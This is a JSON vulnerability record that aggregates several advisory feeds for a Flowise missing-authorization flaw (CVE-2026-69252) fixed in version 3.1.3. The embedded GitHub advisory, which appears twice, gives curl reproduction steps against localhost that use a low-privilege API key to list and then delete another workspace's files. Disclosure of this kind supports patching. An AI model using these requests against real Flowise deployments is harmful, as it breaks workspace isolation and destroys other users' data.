{"id":"CVE-2026-69252","aliases":["EUVD-2026-52726","GHSA-wp74-f5hh-5f3r"],"status":"published","title":"Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the /api/v1/files route was protected only by the feat:files feature gate and did not enforce checkPermission on GET or DELETE. A low-privileged authenticated API key with unrelated permissions could call GET /api/v1/files to list files under the organization storage root and DELETE /api/v1/files?path=... to delete files belonging to other workspaces in the same organization because getAllFiles and deleteFile used activeOrganizationId and a user-controlled path without restricting access by permissions or activeWorkspaceId. This issue is fixed in version 3.1.3.","severity":{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00544,"percentile":0.45948,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-862"],"published":"2026-08-04T14:53:59Z","modified":"2026-10-28T02:30:41Z","fixes":[{"ecosystem":"npm","package":"flowise","fixed_in":["3.1.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"flowise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.1.2"},{"fixed":"3.1.3"}]}]},{"source":"osv","ecosystem":"npm","package":"flowise","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}]}],"products":[{"vendor":"flowiseai","product":"flowise"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wp74-f5hh-5f3r","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/FlowiseAI/Flowise/pull/6435","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/FlowiseAI/Flowise/commit/bc22bf8baec95b6a3d6e1b3563b4f03491cd6fbb","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3","tags":["x_refsource_MISC","Patch","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-wp74-f5hh-5f3r"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/69xxx/CVE-2026-69252.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69252","tags":["advisory"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-69252","title":"Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the /api/v1/files route was protected only by the feat:files feature gate and did not enforce checkPermission on GET or DELETE. A low-privileged authenticated API key with unrelated permissions could call GET /api/v1/files to list files under the organization storage root and DELETE /api/v1/files?path=... to delete files belonging to other workspaces in the same organization because getAllFiles and deleteFile used activeOrganizationId and a user-controlled path without restricting access by permissions or activeWorkspaceId. This issue is fixed in version 3.1.3.","status":"published","published":"2026-08-04T14:53:59.791Z","modified":"2026-08-04T16:43:11.797Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T13:50:27.582139Z"}],"euvd":[{"id":"EUVD-2026-52726","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the /api/v1/files route was protected only by the feat:files feature gate and did not enforce checkPermission on GET or DELETE. A low-privileged authenticated API key with unrelated permissions could call GET /api/v1/files to list files under the organization storage root and DELETE /api/v1/files?path=... to delete files belonging to other workspaces in the same organization because getAllFiles and deleteFile used activeOrganizationId and a user-controlled path without restricting access by permissions or activeWorkspaceId. This issue is fixed in version 3.1.3.","status":"published","published":"2026-08-04T14:53:59Z","modified":"2026-08-04T16:43:11Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:02:22.965583Z"}],"ghsa":[{"id":"GHSA-wp74-f5hh-5f3r","title":"Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization","description":"# summary:\nIn Flowise, the `/api/v1/files` route is protected only by the `feat:files` feature gate and does not enforce `checkPermission(...)` on either `GET` or `DELETE`. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.\n\n# details:\nThe `/files` route is mounted with `IdentityManager.checkFeatureByPlan('feat:files')` only and has no additional permission middleware. In the controller:\n\n- `getAllFiles` uses only `req.user.activeOrganizationId` and calls `getFilesListFromStorage(activeOrganizationId)`, which recursively lists files under the organization storage root\n- `deleteFile` reads `activeWorkspaceId`, but only uses it for storage quota bookkeeping; the actual deletion is performed using `activeOrganizationId + user-controlled path`\n\nAs a result, the API key’s `permissions` and `activeWorkspaceId` are not used to restrict file access.  \nIn the local test environment,an API key bound to workspace `1592b32a-a11b-4996-80b6-e1c4c2969d88` with only `[\"tools:view\"]` was created, then successfully:\n\n- called `GET /api/v1/files` and received `200 OK`\n- listed a test file stored under a different workspace, `f92a9a4d-392e-4db2-af82-d14e1d553446`\n- called `DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt` and received `200 OK`\n- confirmed the file was removed by re-querying the file list\n\n# impact:\nAny low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.\n\n# reproduction steps:\n\n1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:\n\n```bash\ncurl -i -b tamako.cookie \\\n  -H 'x-request-from: internal' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"keyName\":\"poc-files-noperm\",\"permissions\":[\"tools:view\"]}' \\\n  http://localhost:8080/api/v1/apikey\n```\n\n2. Record the returned API key. In my local test, the key was:\n\n- `ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E`\n\n3. Prepare a test file under a different workspace within the same organization, for example:\n\n- `f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt`\n\n4. Use the low-privileged API key to list files:\n\n```bash\ncurl -i \\\n  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \\\n  http://localhost:8080/api/v1/files\n```\n\n5. Observe a `200 OK` response that includes a file from another workspace, for example:\n\n```json\n[{\"name\":\"poc-cross-workspace.txt\",\"path\":\"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt\",\"size\":19}]\n```\n\n6. Use the same API key to delete that file:\n\n```bash\ncurl -i -X DELETE --get \\\n  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \\\n  --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \\\n  http://localhost:8080/api/v1/files\n```\n\n7. Observe a `200 OK` response:\n\n```json\n{\"message\":\"file_deleted\"}\n```\n\n8. Call `GET /api/v1/files` again and confirm that the file is no longer present.","status":"published","published":"2026-08-04T14:54:03Z","modified":"2026-08-04T14:54:05Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:40:56.852119Z"}],"nvd":[{"id":"CVE-2026-69252","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the /api/v1/files route was protected only by the feat:files feature gate and did not enforce checkPermission on GET or DELETE. A low-privileged authenticated API key with unrelated permissions could call GET /api/v1/files to list files under the organization storage root and DELETE /api/v1/files?path=... to delete files belonging to other workspaces in the same organization because getAllFiles and deleteFile used activeOrganizationId and a user-controlled path without restricting access by permissions or activeWorkspaceId. This issue is fixed in version 3.1.3.","status":"published","published":"2026-08-04T16:16:28.96Z","modified":"2026-10-23T23:10:00.157Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:12:34.643497Z"}],"osv":[{"id":"CVE-2026-69252","title":"Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the /api/v1/files route was protected only by the feat:files feature gate and did not enforce checkPermission on GET or DELETE. A low-privileged authenticated API key with unrelated permissions could call GET /api/v1/files to list files under the organization storage root and DELETE /api/v1/files?path=... to delete files belonging to other workspaces in the same organization because getAllFiles and deleteFile used activeOrganizationId and a user-controlled path without restricting access by permissions or activeWorkspaceId. This issue is fixed in version 3.1.3.","status":"published","published":"2026-08-04T14:53:59.791Z","modified":"2026-10-28T02:30:41.525161934Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:45:15.164658Z"},{"id":"GHSA-wp74-f5hh-5f3r","title":"Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization","description":"# summary:\nIn Flowise, the `/api/v1/files` route is protected only by the `feat:files` feature gate and does not enforce `checkPermission(...)` on either `GET` or `DELETE`. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.\n\n# details:\nThe `/files` route is mounted with `IdentityManager.checkFeatureByPlan('feat:files')` only and has no additional permission middleware. In the controller:\n\n- `getAllFiles` uses only `req.user.activeOrganizationId` and calls `getFilesListFromStorage(activeOrganizationId)`, which recursively lists files under the organization storage root\n- `deleteFile` reads `activeWorkspaceId`, but only uses it for storage quota bookkeeping; the actual deletion is performed using `activeOrganizationId + user-controlled path`\n\nAs a result, the API key’s `permissions` and `activeWorkspaceId` are not used to restrict file access.  \nIn the local test environment,an API key bound to workspace `1592b32a-a11b-4996-80b6-e1c4c2969d88` with only `[\"tools:view\"]` was created, then successfully:\n\n- called `GET /api/v1/files` and received `200 OK`\n- listed a test file stored under a different workspace, `f92a9a4d-392e-4db2-af82-d14e1d553446`\n- called `DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt` and received `200 OK`\n- confirmed the file was removed by re-querying the file list\n\n# impact:\nAny low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.\n\n# reproduction steps:\n\n1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:\n\n```bash\ncurl -i -b tamako.cookie \\\n  -H 'x-request-from: internal' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"keyName\":\"poc-files-noperm\",\"permissions\":[\"tools:view\"]}' \\\n  http://localhost:8080/api/v1/apikey\n```\n\n2. Record the returned API key. In my local test, the key was:\n\n- `ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E`\n\n3. Prepare a test file under a different workspace within the same organization, for example:\n\n- `f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt`\n\n4. Use the low-privileged API key to list files:\n\n```bash\ncurl -i \\\n  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \\\n  http://localhost:8080/api/v1/files\n```\n\n5. Observe a `200 OK` response that includes a file from another workspace, for example:\n\n```json\n[{\"name\":\"poc-cross-workspace.txt\",\"path\":\"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt\",\"size\":19}]\n```\n\n6. Use the same API key to delete that file:\n\n```bash\ncurl -i -X DELETE --get \\\n  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \\\n  --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \\\n  http://localhost:8080/api/v1/files\n```\n\n7. Observe a `200 OK` response:\n\n```json\n{\"message\":\"file_deleted\"}\n```\n\n8. Call `GET /api/v1/files` again and confirm that the file is no longer present.","status":"published","published":"2026-08-04T14:54:03Z","modified":"2026-08-04T15:11:01.212085Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:46:58.767335Z"}]}}